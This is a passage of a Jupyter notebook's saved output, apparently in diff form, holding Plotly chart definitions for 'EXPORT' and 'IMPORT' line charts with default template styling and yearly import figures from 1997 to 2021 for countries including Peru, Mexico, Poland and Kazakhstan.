"barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 47.99, - 17.32, - 0.15, - 9.5, - 26.75, - 17.94, - 7.99, - 90.87, - 247.44, - 306.12, - 252.81, - 135.64, - 366.35, - 188.47, - 160.69, - 109.55, - 41.64, - 30.46, - 72.49, - 201.83, - 43.32, - 38.88, - 75.83, - 32.95, - 207.19 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 47.99, - 17.32, - 0.15, - 9.5, - 26.75, - 17.94, - 7.99, - 90.87, - 247.44, - 306.12, - 252.81, - 135.64, - 366.35, - 188.47, - 160.69, - 109.55, - 41.64, - 30.46, - 72.49, - 201.83, - 43.32, - 38.88, - 75.83, - 32.95, - 207.19 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.85, - 2.04, - 1.46, - 0.31, - 0.06, - 0.41, - 0.95, - 95.2, - 64.12, - 277.35, - 195.34, - 229.77, - 100.56, - 216.94, - 199.37, - 104.64, - 178.3, - 157.29, - 179.59, - 108.06, - 196.19, - 88.96, - 55.7, - 125.85, - 265.36 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.59, - 0.51, - 0.15, - 0.54, - 18.05, - 0.64, - 0.75, - 2.77, - 4.21, - 2.83, - 0.45, - 0.58, - 5.22, - 5.31, - 11.1, - 8.66, - 5.28, - 88.12, - 112.26, - 155.28, - 166.9, - 20.97, - 25.28, - 15.61, - 11.74 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.08, - 9.32, - 49.53, - 9.13, - 27.95, - 24.77, - 29.91, - 36.35, - 23.06, - 127.41, - 158.44, - 269.94, - 136.62, - 187.36, - 548.27, - 561.32, - 524.2, - 590.4, - 820.22, - 1076.69, - 2376.86, - 2405.4, - 1575.09, - 1520.88, - 2107.6 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 23.06, - 37.25, - 56.24, - 63.04, - 94.84, - 123.77, - 122.11, - 187.39, - 235.49, - 166.79, - 204.54, - 254.77, - 313.07, - 429.39, - 441.38, - 504, - 391.59, - 423.04, - 542.16, - 494.62, - 764.36, - 581.1, - 523.83, - 572.47, - 551.66 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.7, - 33.81, - 38.49, - 42.63, - 31.39, - 38.84, - 49.05, - 90.37, - 107.81, - 117.23, - 189.46, - 266.12, - 387.29, - 386.04, - 624.25, - 863.25, - 622.57, - 635.6, - 569.66, - 690.98, - 766.99, - 793.39, - 849.58, - 706.35, - 800.91 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 0.19, - 0.29, - 0.13, - 0.15, - 0.51, - 0.74, - 0.21, - 1.62, - 2.24, - 9.38, - 18.22, - 1.26, - 1.97, - 15.17, - 10.18, - 8.75, - 4.3, - 4.14, - 1.99, - 1.72, - 1.01, - 1.3, - 0.42, - 0.54 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 79.49, - 92.02, - 96.49, - 53.83, - 62.24, - 65.52, - 73.89, - 82.62, - 97.61, - 795.3, - 1189.13, - 1725.09, - 1048.97, - 1163.45, - 2579.73, - 4037.62, - 3672.43, - 3393.15, - 2283.19, - 2944.52, - 3930.26, - 5577.03, - 4296.8, - 2845.91, - 3243.45 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 36.03, - 12.43, - 13.45, - 14.04, - 7.39, - 12.73, - 9.26, - 15.39, - 26.3, - 88.3, - 76.78, - 159.03, - 154.91, - 138.42, - 191.86, - 139.99, - 656.33, - 701.67, - 352.93, - 521.29, - 907.43, - 708.78, - 2255.7, - 804.97, - 275.97 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0.03, - 0.02, - 0.28, - 0.02, - 0.51, - 0.79, - 0.38, - 3.68, - 0.08, - 0.04, - 0.22, - 0.64, - 0.85, - 0.47, - 1.17, - 1.18, - 0.86, - 1.6, - 3.6, - 0.42, - 0.34, - 0.41 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
